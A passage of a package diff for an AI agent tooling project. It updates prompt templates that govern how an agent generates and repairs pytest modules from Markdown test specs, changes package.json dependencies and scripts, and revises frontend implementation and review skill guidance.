for oversize. Hard contract: request payload dicts may only contain DTO field keys from Payload Allowed Paths; never put expect/expected/echo_* helper keys inside the JSON body dict. Path/query/header identifiers and scenario-control metadata (including `id`, expected codes, and selector labels) must stay in separate pytest parameters and helper arguments; never merge them into a DTO patch or JSON body unless that exact path is allowed by the Markdown payload contract. Normalize the configured API base URL with `rstrip(\"/\")` (or equivalently join exactly one slash) before appending endpoint paths; generated requests must never contain a `//api/...` path. When the bound source documents a concrete non-secret local API URL, generated clients must use it as the fallback in `os.environ.get(\"API_BASE_URL\", \"<documented-url>\")`; do not require an otherwise-uninjected environment variable or fail setup solely because it is absent. Missing-field helpers must remove keys idempotently with `payload.pop(field, None)`, never `del payload[field]`, because optional fields may already be absent.\n\nFor every response contract that requires an object or pagination envelope, first assert that each envelope/data value is a dict and that required keys exist, then index fields and assert values. Never let an incidental KeyError or list/string TypeError stand in for the explicit response-shape contract failure.\n\nEnsure every automatable final Markdown Case ID in this module appears in exactly one primary pytest test function or pytest test class method region, using the exact `primary symbol` declared by Markdown. Skip evidence-only meta Cases that declare `脚本/primary symbol=无` with empty variants; do not invent a business pytest symbol for them. The symbol must start with `test_BE_<MODULE>_<NNN>_` so every parameterized collected item remains associated with its Case. Module-level functions and class-based pytest methods are both supported. Only `变体测试点` may use stable `pytest.param(..., id=\"TP-...\")` IDs, and every atomic variant ID must appear exactly once with a genuine input/state/outcome change. A Case with exactly one variant Test Point still needs one literal `pytest.param(..., id=\"TP-...\")` row; never leave a single-variant Case as a bare function with the TP only in the docstring. Use a literal direct `pytest.param(..., id=...)` expression for every row; never hide or wrap it behind `_post_case`, `_put_case`, row-factory functions, comprehensions, generators, or dynamically returned parameter lists; do not use decorator-level `ids=[...]`, generated suffixes, or IDs that extend/shorten the exact Markdown TP. Do not parameterize `场景断言测试点` or `横切证据测试点`; execute all assertion checkpoints within the same business journey/item and use shared helpers for cross-cutting evidence. The primary symbol docstring must contain exact metadata lines `Case-ID: BE-...`, `Assertion-Test-Points: TP-...;TP-...` and `Cross-Cutting-Test-Points: TP-...;TP-...` (use `none` when empty). Implement request dictionaries so their direct and nested key paths and enum literals exactly satisfy the Case `Payload Required Paths`, `Payload Allowed Paths`, and `Payload Enum`; for `Payload Contract: none`, do not invent a JSON/body DTO. GET/list filters still declare query fields in those payload labels when the Case varies `params=`/`query=` keys. Python `True`/`False` may implement JSON/OpenAPI `true`/`false` query or body booleans. GET/DELETE setup journeys may create resources, but their setup DTO must not change the target operation's no-body payload contract. No Test Point may be invented, renamed, omitted or bound in two modes. The generated pytest collection shape must equal the Markdown prediction `sum(max(1, variant count per Case))`; keep it at or below the task's explicit budget by removing duplicate execution, never by collapsing multiple parameter rows under a coarse family TP. Assertions come only from 预期结果 and setup comes only from 前置条件/测试数据/自动化映射.\n\nName the generated pytest file so it corresponds one-to-one with its source Markdown module file: this module stem `{{item.stem}}` maps to exactly the frozen `{{item.pytestPath}}`. The <module> stem is the Markdown filename without the `.md` extension, lowercased and with non-alphanumeric characters replaced by underscores. For example, `resource_notes` → `testcase/test_resource_notes.py`, `health` → `testcase/test_health.py`. If Markdown automation mapping names a different path than this module stem path, still write the frozen manifest pytest path and do not invent prefixes. Never merge multiple Markdown modules into one pytest file, never split one module across several files, and never invent pytest filenames unrelated to the Markdown modules.\n\nScenario Partition slots: every `TP-<Partition ID>-...` variant Test Point declared by this module's Markdown MUST become exactly one literal direct `pytest.param(..., id=\"TP-<Partition ID>-...\")` row with the exact slot ID; the not-in-set slot passes a concrete literal absent from the documented Domain (e.g. `UNKNOWN_TYPE`) — never `_OMIT`, never a descriptive token. Never split one slot into multiple params or merge several slots under a family TP id. Slot filtering requests hit the documented list endpoint with the slot value as the query/path filter.\n\nKeep this module self-contained: define module-local fixtures and helpers directly in `{{item.pytestPath}}`, so pytest discovers every fixture dependency without external plugin registration. The request log must include method, URL/path, and request parameters (query plus JSON/body/payload summary). The response log must include status code and response result (JSON/text/body summary), and both records must be visible in pytest stdout/stderr without changing assertions. Recursively redact sensitive values and apply bounded truncation before logging.\n\nMaterialize every automatable Markdown Case exactly once as one canonical primary pytest symbol. Preserve every explicit variant Test Point as a stable pytest.param id and every assertion/cross-cutting binding as declared. Build request payloads from the effective Markdown test data literally: keep all declared DTO keys, nested shapes, enum values, missing/null/boundary variants and business-state preconditions; never substitute guessed convenience fields or rename contract fields. Never assert an identifier's concrete Python/JSON type unless the Markdown or bound contract explicitly declares that type; when only presence is required, accept any non-null scalar identifier and serialize it safely into the path. For a nonexistent-resource 404 Case whose identifier syntax/type is not declared, obtain a syntactically valid identifier from a live create response and delete it before the 404 request; never invent an arbitrary UUID/text identifier that may fail path conversion with 400. Respect every local helper's actual return signature: never tuple-unpack a scalar status/id/helper result, and never treat a tuple response as a scalar.\n\nDo not read source/**, add cases, reassign ACs, modify conftest/config/production code, use skip/xfail, swallow assertions, execute pytest, or emit JSON. For best-effort cleanup, catch only the narrow transport exception actually raised by the selected HTTP client (for example `requests.RequestException` or `urllib.error.URLError`); never use bare `except`, `Exception`, or `BaseException` with `pass`.",
452
+ "subtaskPromptTemplate": "Convert the single frozen Markdown module `{{item.markdownPath}}` into one self-contained pytest module. Before writing, also read the run-owned Markdown plan artifact at `{{item.planReadPath}}` and use its explicit API target/environment table as the authoritative fallback base URL for every module. A task/Markdown `API_BASE_URL` target takes precedence over project README dev-server URLs; never infer a backend API fallback from a frontend/Vite port such as localhost:3000. After reading the module Markdown, the run-owned plan artifact, and the bounded pytest config/conftest, immediately use write tools to create the single frozen file `{{item.pytestPath}}`. Define any bounded HTTP client fixture, request logging/redaction/truncation helper and payload builders needed by this module inside that same file; do not import generated testcase/**/helpers/** or testcase/**/factories/** assets. Do not end after analysis or planning. Do not modify Markdown, conftest, helpers/factories, or any other module's pytest script.\n\nOutput budget protocol (hard, max output <=16K per turn): Write exactly the frozen `{{item.pytestPath}}`. Never paste full Python modules into assistant chat. Do not merge or split modules. Do not reduce params/assertions/skips to fit. If OUTPUT_LIMIT_RECOVERY is injected, continue only listed missing/broken scripts.\n\nAlign every variant pytest.param payload with the Markdown scenario intent (empty/missing/null/length/pattern/enum/wrong-type/nominal). Prefer literal payloads over Faker for intent-critical fields so pre-execution scenario-param checks can verify them. Hard contract: intent=enum-invalid MUST pass a concrete invalid value literal (string/number/boolean), never `_OMIT`/None/missing key; intent=missing/empty may use `_OMIT` or delete the key; intent=custom-literal:trim|whitespace-padded requires a leading/trailing whitespace string with non-empty trimmed content (all-whitespace belongs to empty/whitespace-only, not trim); intent=custom-literal:ACTIVE|ARCHIVED requires the exact enum string, never descriptive tokens like filter-active; intent=max/min/max+1 should pass a repeated-string length expression, a bare length number N, or a helper named _*_LEN{N} / _*_MAX_LENGTH / _*_OVER_LENGTH — never a bare 1 for oversize. Hard contract: request payload dicts may only contain DTO field keys from Payload Allowed Paths; never put expect/expected/echo_* helper keys inside the JSON body dict. Path/query/header identifiers and scenario-control metadata (including `id`, expected codes, and selector labels) must stay in separate pytest parameters and helper arguments; never merge them into a DTO patch or JSON body unless that exact path is allowed by the Markdown payload contract. Normalize the configured API base URL with `rstrip(\"/\")` (or equivalently join exactly one slash) before appending endpoint paths; generated requests must never contain a `//api/...` path. When the bound source documents a concrete non-secret local API URL, generated clients must use it as the fallback in `os.environ.get(\"API_BASE_URL\", \"<documented-url>\")`; do not require an otherwise-uninjected environment variable or fail setup solely because it is absent. Missing-field helpers must remove keys idempotently with `payload.pop(field, None)`, never `del payload[field]`, because optional fields may already be absent.\n\nFor every response contract that requires an object or pagination envelope, first assert that each envelope/data value is a dict and that required keys exist, then index fields and assert values. Never let an incidental KeyError or list/string TypeError stand in for the explicit response-shape contract failure.\n\nEnsure every automatable final Markdown Case ID in this module appears in exactly one primary pytest test function or pytest test class method region, using the exact `primary symbol` declared by Markdown. Skip evidence-only meta Cases that declare `脚本/primary symbol=无` with empty variants; do not invent a business pytest symbol for them. The symbol must start with `test_BE_<MODULE>_<NNN>_` so every parameterized collected item remains associated with its Case. Module-level functions and class-based pytest methods are both supported. Only `变体测试点` may use stable `pytest.param(..., id=\"TP-...\")` IDs, and every atomic variant ID must appear exactly once with a genuine input/state/outcome change. A Case with exactly one variant Test Point still needs one literal `pytest.param(..., id=\"TP-...\")` row; never leave a single-variant Case as a bare function with the TP only in the docstring. Use a literal direct `pytest.param(..., id=...)` expression for every row; never hide or wrap it behind `_post_case`, `_put_case`, row-factory functions, comprehensions, generators, or dynamically returned parameter lists; do not use decorator-level `ids=[...]`, generated suffixes, or IDs that extend/shorten the exact Markdown TP. Do not parameterize `场景断言测试点` or `横切证据测试点`; execute all assertion checkpoints within the same business journey/item and use shared helpers for cross-cutting evidence. Governance-only cross-cutting bindings such as writeSet compliance, execution count, report existence, or orchestration state are metadata-only in business pytest: preserve their IDs in `Cross-Cutting-Test-Points`, but never assert `__file__`, filesystem placement, pytest invocation count, Harness state, or report artifacts inside the business test. Harness-owned evidence verifies those bindings. The first statement inside every primary symbol must be a triple-quoted docstring containing exact lines `Case-ID: BE-...`, `Assertion-Test-Points: TP-...;TP-...` and `Cross-Cutting-Test-Points: TP-...;TP-...` (use `none` when empty), for example `def test_BE_X_001():\n \"\"\"\n Case-ID: BE-X-001\n Assertion-Test-Points: TP-X-ASSERT\n Cross-Cutting-Test-Points: none\n \"\"\"`. Module/class docstrings, comments before `def`, and singular `Assertion-Test-Point:` comments never bind a Test Point. Implement request dictionaries so their direct and nested key paths and enum literals exactly satisfy the Case `Payload Required Paths`, `Payload Allowed Paths`, and `Payload Enum`; for `Payload Contract: none`, do not invent a JSON/body DTO. GET/list filters still declare query fields in those payload labels when the Case varies `params=`/`query=` keys. Python `True`/`False` may implement JSON/OpenAPI `true`/`false` query or body booleans. GET/DELETE setup journeys may create resources, but their setup DTO must not change the target operation's no-body payload contract. No Test Point may be invented, renamed, omitted or bound in two modes. The generated pytest collection shape must equal the Markdown prediction `sum(max(1, variant count per Case))`; keep it at or below the task's explicit budget by removing duplicate execution, never by collapsing multiple parameter rows under a coarse family TP. Assertions come only from 预期结果 and setup comes only from 前置条件/测试数据/自动化映射.\n\nName the generated pytest file so it corresponds one-to-one with its source Markdown module file: this module stem `{{item.stem}}` maps to exactly the frozen `{{item.pytestPath}}`. The <module> stem is the Markdown filename without the `.md` extension, lowercased and with non-alphanumeric characters replaced by underscores. For example, `resource_notes` → `testcase/test_resource_notes.py`, `health` → `testcase/test_health.py`. If Markdown automation mapping names a different path than this module stem path, still write the frozen manifest pytest path and do not invent prefixes. Never merge multiple Markdown modules into one pytest file, never split one module across several files, and never invent pytest filenames unrelated to the Markdown modules.\n\nScenario Partition slots: every `TP-<Partition ID>-...` variant Test Point declared by this module's Markdown MUST become exactly one literal direct `pytest.param(..., id=\"TP-<Partition ID>-...\")` row with the exact slot ID; the not-in-set slot passes a concrete literal absent from the documented Domain (e.g. `UNKNOWN_TYPE`) — never `_OMIT`, never a descriptive token. Never split one slot into multiple params or merge several slots under a family TP id. Slot filtering requests hit the documented list endpoint with the slot value as the query/path filter.\n\nKeep this module self-contained: define module-local fixtures and helpers directly in `{{item.pytestPath}}`, so pytest discovers every fixture dependency without external plugin registration. The request log must include method, URL/path, and request parameters (query plus JSON/body/payload summary). The response log must include status code and response result (JSON/text/body summary), and both records must be visible in pytest stdout/stderr without changing assertions. Recursively redact sensitive values and apply bounded truncation before logging.\n\nMaterialize every automatable Markdown Case exactly once as one canonical primary pytest symbol. Preserve every explicit variant Test Point as a stable pytest.param id and every assertion/cross-cutting binding as declared. Build request payloads from the effective Markdown test data literally: keep all declared DTO keys, nested shapes, enum values, missing/null/boundary variants and business-state preconditions; never substitute guessed convenience fields or rename contract fields. Never assert an identifier's concrete Python/JSON type unless the Markdown or bound contract explicitly declares that type; when only presence is required, accept any non-null scalar identifier and serialize it safely into the path. For a nonexistent-resource 404 Case whose identifier syntax/type is not declared, obtain a syntactically valid identifier from a live create response and delete it before the 404 request; never invent an arbitrary UUID/text identifier that may fail path conversion with 400. Respect every local helper's actual return signature: never tuple-unpack a scalar status/id/helper result, and never treat a tuple response as a scalar.\n\nDo not read source/**, add cases, reassign ACs, modify conftest/config/production code, use skip/xfail, swallow assertions, execute pytest, or emit JSON. For best-effort cleanup, catch only the narrow transport exception actually raised by the selected HTTP client (for example `requests.RequestException` or `urllib.error.URLError`); never use bare `except`, `Exception`, or `BaseException` with `pass`.",
450
453
  "outputContract": "Write exactly the frozen pytest module file `{{item.pytestPath}}` whose actual test function region contains the exact Case ID, preferably in the function name or docstring. the frozen `{{item.markdownPath}}` maps one-to-one to `{{item.pytestPath}}`; never merge or split modules. No JSON and no pytest execution.",
451
454
  "toolProfile": "write",
452
455
  "writePolicy": "exclusive",
@@ -471,13 +474,14 @@
471
474
  "requireChangedFiles": true
472
475
  },
473
476
  "retryPolicy": {
474
- "maxAttempts": 3,
477
+ "maxAttempts": 5,
475
478
  "backoff": "exponential",
476
479
  "initialDelayMs": 2000,
477
480
  "maxDelayMs": 30000,
478
481
  "retryCategories": [
479
482
  "writer-empty-diff",
480
- "incomplete-write-set"
483
+ "incomplete-write-set",
484
+ "output-limit"
481
485
  ]
482
486
  }
483
487
  },
@@ -525,7 +529,7 @@
525
529
  ],
526
530
  "runIf": "$.nodes['assess-backend-pytest-collection-shell'].json.repairEligible == true",
527
531
  "complexity": "MED",
528
- "subtask_prompt": "Repair the generated backend pytest asset as one bounded program using the direct upstream collection assessment. This is the only repair attempt and happens before any business test body execution. The direct upstream JSON includes authoritative `repairPaths` and bounded `repairFindings`; treat both as the complete mandatory checklist without searching for a run directory or report file. Treat any upstream line such as `Repair paths: testcase/test_x.py` as equivalent authoritative repairPaths evidence. Directly read and edit that testcase path; do not search for separate root-level `contracts/**`, guess a DAG run directory, or require another report artifact. If the read tool successfully returns the testcase file, the path exists—continue the bounded repair and never later claim that file is absent.\n\nInitial status REPAIRABLE means at least one listed finding remains: `already-satisfied` is forbidden, and you must produce a non-empty bounded diff on repairPaths before returning `IMPLEMENTATION_OUTCOME: changed`. Fix only readiness-proven generated testcase-local defects on initial facts repairPaths: create exact safe missing mapped test_*.py paths, repair syntax/import/symbol/decorator/parameterization, close generated fixture dependencies/plugin registration, and repair initial Markdown-to-pytest correspondence findings. Use this deterministic repair map instead of reading analyzer implementation: findings about `Case-ID`, `Assertion-Test-Points`, or `Cross-Cutting-Test-Points` are fixed by editing the declared primary symbol docstring metadata lines; variant binding findings are fixed in the literal direct `pytest.param(..., id=\"TP-...\")` row; primary-symbol cardinality/name findings are fixed in the function name or duplicate primary symbols; script mismatch is fixed only on the authoritative assessment repairPaths; payload findings are fixed in request payload construction. Do not read controller `src/**` or inspect JS/TS analyzer code. Do not search for `testcase/**/README.md`. Never invent a business pytest symbol for evidence-only Markdown Cases that declare `脚本/primary symbol=无` with empty variants. For fixture defects inspect both provider and importer listed by repairPaths; fix ScopeMismatch by aligning fixture scopes or inlining request-scoped values so module fixtures never depend on function fixtures; when a shared fixture depends on sibling fixtures, register the whole provider module through an exact pytest_plugins declaration rather than importing only the outer fixture. Do not create unrelated pytest scripts.\n\nThis is the single pytest incremental synchronization round. The `Findings` in `reports/backend-test-pytest-collection-initial.md` are the mandatory repair checklist: resolve every repairable listed finding on every authoritative `Repair paths` file before considering any other advisory evidence, and never substitute an unrelated scenario-param cleanup for a listed correspondence/collection defect. For every assessment-listed path, compare the effective Markdown Case/Test Points/test data and its `Payload Contract`/`Payload Required Paths`/`Payload Allowed Paths`/`Payload Enum` labels with the generated module. Incrementally add or repair only missing symbols, params, assertions and payload builders. Repair every assessment-listed missing nested path, unexpected key and enum mismatch; preserve exact DTO keys, nested shapes, enum/boundary literals, operation transport and business preconditions; remove guessed replacement keys only when the effective Markdown proves the exact contract. Keep path/query/header identifiers and scenario-control metadata separate from DTO patches and JSON bodies; an `id` used for a path target must be passed to the request path/helper, never inserted into a body patch unless `id` is explicitly listed in Payload Allowed Paths. Flatten every variant into a literal direct `pytest.param(..., id=\"TP-...\")` row; replace `_post_case`/`_put_case` or other parameter-row factories because correspondence and scenario readiness require the actual row values and IDs to be statically visible. Also repair helper call sites to match their defined return signatures; do not tuple-unpack a helper that returns one scalar value.\n\nPreserve final testcase/md/** semantics, every Case ID, Rule/Test Point binding, primary symbol, parameter ID, expected status/body/schema assertion, HTTP logging, redaction and truncation behavior.\n\nUse local edit only on assessment-listed paths; keep summaries short; never rewrite unrelated modules.\n\nDo not reinterpret requirements beyond the effective Markdown and bounded assessment diagnostics. Do not modify Markdown, conftest, pytest config, production code or dependencies.\n\nDo not add skip/skipif/xfail, remove tests, reduce collected items, loosen assertions, swallow exceptions, use try/except ImportError fallback, mutate sys.path/PYTHONPATH, or replace the real API with mocks.\n\nDo not execute pytest; the deterministic effective collection gate owns the final collection attempt.",
532
+ "subtask_prompt": "Repair the generated backend pytest asset as one bounded program using the direct upstream collection assessment. This is the only repair attempt and happens before any business test body execution. The direct upstream JSON includes authoritative `repairPaths` and bounded `repairFindings`; treat both as the complete mandatory checklist without searching for a run directory or report file. Treat any upstream line such as `Repair paths: testcase/test_x.py` as equivalent authoritative repairPaths evidence. Directly read and edit that testcase path; do not search for separate root-level `contracts/**`, guess a DAG run directory, or require another report artifact. If the read tool successfully returns the testcase file, the path exists—continue the bounded repair and never later claim that file is absent.\n\nInitial status REPAIRABLE means at least one listed finding remains: `already-satisfied` is forbidden, and you must produce a non-empty bounded diff on repairPaths before returning `IMPLEMENTATION_OUTCOME: changed`. Fix only readiness-proven generated testcase-local defects on initial facts repairPaths: create exact safe missing mapped test_*.py paths, repair syntax/import/symbol/decorator/parameterization, close generated fixture dependencies/plugin registration, and repair initial Markdown-to-pytest correspondence findings. Use this deterministic repair map instead of reading analyzer implementation: findings about `Case-ID`, `Assertion-Test-Points`, or `Cross-Cutting-Test-Points` are fixed by making the first statement in the declared primary symbol a triple-quoted docstring with the exact plural metadata lines; these are the primary symbol docstring metadata lines. Module/class docstrings, comments before `def`, and singular `Assertion-Test-Point:` comments are invalid. Variant binding findings are fixed in the literal direct `pytest.param(..., id=\"TP-...\")` row; primary-symbol cardinality/name findings are fixed in the function name or duplicate primary symbols; script mismatch is fixed only on the authoritative assessment repairPaths; payload findings are fixed in request payload construction. Do not read controller `src/**` or inspect JS/TS analyzer code. Do not search for `testcase/**/README.md`. Never invent a business pytest symbol for evidence-only Markdown Cases that declare `脚本/primary symbol=无` with empty variants. For fixture defects inspect both provider and importer listed by repairPaths; fix ScopeMismatch by aligning fixture scopes or inlining request-scoped values so module fixtures never depend on function fixtures; when a shared fixture depends on sibling fixtures, register the whole provider module through an exact pytest_plugins declaration rather than importing only the outer fixture. Do not create unrelated pytest scripts.\n\nThis is the single pytest incremental synchronization round. The `Findings` in `reports/backend-test-pytest-collection-initial.md` are the mandatory repair checklist: resolve every repairable listed finding on every authoritative `Repair paths` file before considering any other advisory evidence, and never substitute an unrelated scenario-param cleanup for a listed correspondence/collection defect. For every assessment-listed path, compare the effective Markdown Case/Test Points/test data and its `Payload Contract`/`Payload Required Paths`/`Payload Allowed Paths`/`Payload Enum` labels with the generated module. Incrementally add or repair only missing symbols, params, assertions and payload builders. Repair every assessment-listed missing nested path, unexpected key and enum mismatch; preserve exact DTO keys, nested shapes, enum/boundary literals, operation transport and business preconditions; remove guessed replacement keys only when the effective Markdown proves the exact contract. Keep path/query/header identifiers and scenario-control metadata separate from DTO patches and JSON bodies; an `id` used for a path target must be passed to the request path/helper, never inserted into a body patch unless `id` is explicitly listed in Payload Allowed Paths. Flatten every variant into a literal direct `pytest.param(..., id=\"TP-...\")` row; replace `_post_case`/`_put_case` or other parameter-row factories because correspondence and scenario readiness require the actual row values and IDs to be statically visible. Also repair helper call sites to match their defined return signatures; do not tuple-unpack a helper that returns one scalar value.\n\nPreserve final testcase/md/** semantics, every Case ID, Rule/Test Point binding, primary symbol, parameter ID, expected status/body/schema assertion, HTTP logging, redaction and truncation behavior.\n\nUse local edit only on assessment-listed paths; keep summaries short; never rewrite unrelated modules.\n\nDo not reinterpret requirements beyond the effective Markdown and bounded assessment diagnostics. Do not modify Markdown, conftest, pytest config, production code or dependencies.\n\nDo not add skip/skipif/xfail, remove tests, reduce collected items, loosen assertions, swallow exceptions, use try/except ImportError fallback, mutate sys.path/PYTHONPATH, or replace the real API with mocks.\n\nDo not execute pytest; the deterministic effective collection gate owns the final collection attempt.",
529
533
  "executor": "pi",
530
534
  "role": "implementer",
531
535
  "toolProfile": "write",
@@ -446,13 +446,6 @@
446
446
  "$ref": "#/$defs/gap"
447
447
  }
448
448
  },
449
- "implementationSteps": {
450
- "type": "array",
451
- "items": {
452
- "type": "string",
453
- "minLength": 1
454
- }
455
- },
456
449
  "stylingStrategy": {
457
450
  "type": "string",
458
451
  "minLength": 1
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@tea-agent/loop-agent",
3
- "version": "0.43.0-next.9",
3
+ "version": "0.43.0",
4
4
  "type": "module",
5
5
  "bin": {
6
6
  "loop-agent": "bin/loop-agent.js",
@@ -61,6 +61,7 @@
61
61
  "typecheck": "tsc --noEmit && npm run console:typecheck",
62
62
  "test": "node scripts/run-tests.mjs",
63
63
  "test:full": "node scripts/run-tests.mjs --full",
64
+ "dogfood:backend": "tsx scripts/backend-dogfood-campaign.ts",
64
65
  "test:host": "vitest run test/init-upgrade.test.ts --maxWorkers=1 -t \"records and reuses|controller-authorized semantic merge|authority-sensitive\"",
65
66
  "test:fast": "vitest run --config vitest.fast.config.ts",
66
67
  "test:io-heavy": "vitest run --config vitest.io-heavy.config.ts",
@@ -84,13 +85,15 @@
84
85
  "katex": "^0.16.47",
85
86
  "mermaid": "^11.16.1",
86
87
  "node-pty": "^1.2.0-beta.15",
88
+ "playwright-core": "^1.63.0",
87
89
  "rehype-highlight": "^7.0.2",
88
90
  "rehype-katex": "^7.0.1",
89
91
  "remark-math": "^6.0.0",
90
92
  "semver": "^7.8.5",
91
93
  "typebox": "1.3.7",
92
94
  "yaml": "^2.9.0",
93
- "zod": "^3.25.76"
95
+ "zod": "^3.25.76",
96
+ "zod-to-json-schema": "^3.25.2"
94
97
  },
95
98
  "optionalDependencies": {
96
99
  "@agent-context/sift": "0.0.1-alpha.7",
@@ -102,6 +105,8 @@
102
105
  "@types/react": "^19.1.8",
103
106
  "@types/react-dom": "^19.1.6",
104
107
  "@types/semver": "^7.7.1",
108
+ "@vitest/coverage-v8": "^4.1.11",
109
+ "fast-check": "^4.10.0",
105
110
  "react": "^19.1.0",
106
111
  "react-dom": "^19.1.0",
107
112
  "react-markdown": "^10.1.0",
@@ -110,5 +115,6 @@
110
115
  "typescript": "^5.9.3",
111
116
  "vite": "^7.0.0",
112
117
  "vitest": "^4.1.11"
113
- }
118
+ },
119
+ "packageManager": "pnpm@10.33.0+sha512.10568bb4a6afb58c9eb3630da90cc9516417abebd3fabbe6739f0ae795728da1491e9db5a544c76ad8eb7570f5c4bb3d6c637b2cb41bfdcdb47fa823c8649319"
114
120
  }
@@ -4,16 +4,16 @@ Apply the canonical contract and the conventions visible in target files and the
4
4
  direct local dependencies. Do not reopen task sources, OpenSpec, `ai_workspace`, or
5
5
  unrelated repository areas to discover new rules or redesign approved decisions.
6
6
 
7
- - Work test-first when behavior changes and preserve unrelated behavior.
7
+ - Implement requirement coverage and preserve existing tests and unrelated behavior.
8
8
  - Reuse existing public helpers, APIs, components, tokens, schemas, and test
9
9
  patterns that are directly available from the bounded target surface.
10
10
  - Keep rendering, transitions, validation, request lifecycle, errors, and side
11
- effects testable; cover relevant races and boundaries.
11
+ effects clear; defer race and boundary tests to frontend-test.
12
12
  - Keep real API behavior enabled by default. Mock activation must follow the
13
13
  approved strategy, remain explicit and dev/test-only, and never import test mocks
14
14
  into production code.
15
15
  - Trace fixtures to the approved API/schema evidence and never store secrets.
16
16
  - Do not add unapproved dependencies, relax lint/type/test/build configuration,
17
17
  add `.skip`/`.only`, comment out real requests, or write outside `writeSet`.
18
- - Run only frozen focused checks and report their real status. Downstream shell
18
+ - Run build and frozen existing tests, updating affected unit tests; report real status. Downstream shell
19
19
  verification remains authoritative.
@@ -15,7 +15,9 @@
15
15
 
16
16
  - Register static, behavior, Mock, and real-integration evidence expectations as
17
17
  required, optional, or not-applicable. The classification follows the source and
18
- risk; it is not selected for model convenience.
18
+ risk; it is not selected for model convenience. These are source expectations
19
+ for implementation and the frontend-test handoff. Build and existing affected
20
+ unit tests are required here; do not invent a test framework when absent.
19
21
  - Register a non-blocking frontend-test handoff for UI-visible or interactive work.
20
22
  - Preserve exact command labels and referenced paths. Do not invent evidence,
21
23
  connector results, APIs, or verification commands.
@@ -36,11 +36,13 @@ fields, following `nextOffset` with `expectedRevision` pinned. For oversized
36
36
  strings use `stringOffset` and follow `nextStringOffset`; restart pagination when
37
37
  the revision changes. Never submit a truncated preview as a replacement payload.
38
38
 
39
- Cross-slice citations must close in the same session: when a requirement cites a
40
- verification target committed in another slice's session, re-commit that target
41
- here with the same id and `replace=true` (union backfill) before finalize. A
42
- `duplicate` receipt is a correction invitation, not a prohibition.
39
+ Verification targets declare `requirementIds`; the runtime derives reverse
40
+ requirement citations across committed slices. Do not re-commit a target merely
41
+ to register the reverse relation. Use `replace=true` only to correct its facts;
42
+ replacement is complete, so preserve all still-valid bindings.
43
43
 
44
44
  The runtime owns protected skeleton fields, path/command validation, materialization,
45
- and final schema checks. Finish with one successful `finalize_plan` (correct rejected facts and retry); return no Markdown
46
- narrative. Record a genuine evidence gap when frozen facts are insufficient.
45
+ and final schema checks. Stop after the assigned facts are committed: the runtime
46
+ compiles and finalizes automatically. Correction sessions only repair the reported
47
+ facts; they do not invoke a terminal tool. Return no Markdown narrative. Record a
48
+ genuine evidence gap when frozen facts are insufficient.
@@ -8,9 +8,9 @@
8
8
  behavior. IDs and paths alone are not behavioral coverage.
9
9
  - One behavior target may cover multiple related requirements when one observable
10
10
  test behavior proves them together.
11
- - Every non-static verification target `id` is the stable machine trace token and
12
- must later appear in a real `describe` / `it` / `test` title. There is no free-form
13
- `symbol` field.
11
+ - Every non-static verification target `id` is the stable identifier of that
12
+ contract entry only; it never needs to appear in test titles. Do not add tests
13
+ or rename titles to carry generated ids.
14
14
  - Static targets are for project-wide commands and are traced by file and command
15
15
  only.
16
16
 
@@ -4,7 +4,7 @@ description: Use to review completed frontend code and verification before close
4
4
  references:
5
5
  - path: references/review-findings.md
6
6
  required: true
7
- maxChars: 2800
7
+ maxChars: 3200
8
8
  ---
9
9
 
10
10
  # Frontend Review
@@ -16,9 +16,9 @@ design-review prose or `ai_workspace/`.
16
16
 
17
17
  ## Authoritative Terminal
18
18
 
19
- Submit findings one at a time with `record_review_finding` using stable IDs.
20
- Use `replace:true` for revisions. The terminal automatically includes saved findings;
21
- do not repeat their array. Correct rejected calls, then commit one successful terminal:
19
+ Submit findings one at a time with `record_review_finding` (stable IDs,
20
+ `replace:true` for revisions). The terminal auto-includes saved findings; correct
21
+ rejected calls, then commit one successful terminal:
22
22
 
23
23
  - `approve_review` when no Critical/Important finding remains;
24
24
  - `request_review_changes` for a defect, missing required evidence, forbidden
@@ -30,30 +30,20 @@ Requested changes end this run; the recovery controller owns follow-up.
30
30
 
31
31
  ## Review Scope
32
32
 
33
+ Follow the findings guide's review sequence and pass rules. In addition:
34
+
33
35
  - Compare intent, contract, plan, diff, and evidence; report altered requirements.
34
- - Inspect every changed file against allowed, forbidden, and approved write scope.
35
- - Map criteria to behavior, applicable UI states, tests, and shell evidence.
36
- - Review state/data flow, validation, async/error behavior, design, responsive/a11y,
37
- dependencies, and regression risk when applicable.
38
- - Inspect static, behavior, and available Mock-specific artifacts directly. For Mock
39
- strategies, compare the endpoint matrix, handler/fixture/adapter and consumer diff;
40
- require the real request as default, contract-aligned fixtures, production isolation,
41
- and no false real-integration claim. `not-needed` needs applicable real/no-remote
42
- evidence, or an explicit default-auto skipped-Mock rationale with the Real
36
+ Check every changed file against allowed/forbidden/approved write scope, and map
37
+ criteria to behavior, applicable UI states, tests, and shell evidence.
38
+ - Mock strategies need the real request as default, contract-aligned fixtures,
39
+ production isolation, and no false real-integration claim; `not-needed` needs
40
+ real/no-remote evidence, or a default-auto skipped-Mock rationale with the Real
43
41
  Integration Gap preserved when no project Mock capability is confirmed.
44
- - Inspect lint assessment directly. `baseline-debt` requires intact evidence, only
45
- baseline-matched diagnostics on unchanged files, and none on writer-changed files.
46
- Report debt, never `lint passed`; `failed`/`unavailable` blocks. Typecheck, build,
47
- and test still require successful final exits.
42
+ - Inspect lint only when `lintConfigured: true`; with `lintConfigured: false` there
43
+ is no lint surface — report no lint finding. Typecheck, build, and test still
44
+ require successful exits.
45
+ - Read shell exit status from `verificationEvidence.commands`, not prose or the
46
+ trace: the trace proves binding only, never that a command succeeded. Judge
47
+ whether the tests are sufficient; do not guess whether the commands ran.
48
48
  - Evaluate component/design claims against bound evidence; do not replace it with a
49
- repository-wide search or connector query.
50
- - Treat shell exit status as authoritative. Do not edit files.
51
-
52
- ## Evidence And Output
53
-
54
- Findings cite a tight file location, exact command/result, or named DAG artifact.
55
- Separate confirmed defects, missing evidence, and residual risks using Findings,
56
- Verification Assessment, UX Assessment, and Residual Risks headings.
57
-
58
- A pass requires no Critical/Important findings and all required shell checks passed.
59
- Still report knowledge-source status and optional browser/manual gaps.
49
+ repository-wide search or connector query. Do not edit files.
@@ -38,9 +38,14 @@
38
38
  ## Pass Rules
39
39
 
40
40
  - No Critical or Important findings remain.
41
- - Required static and behavior nodes ran and passed.
42
- - Lint is `passed` or evidence-backed `baseline-debt`; typecheck, build, and test are
43
- passed. Any debt count and affected unchanged files remain disclosed.
41
+ - Required static and behavior nodes ran and passed: verify each frozen command through
42
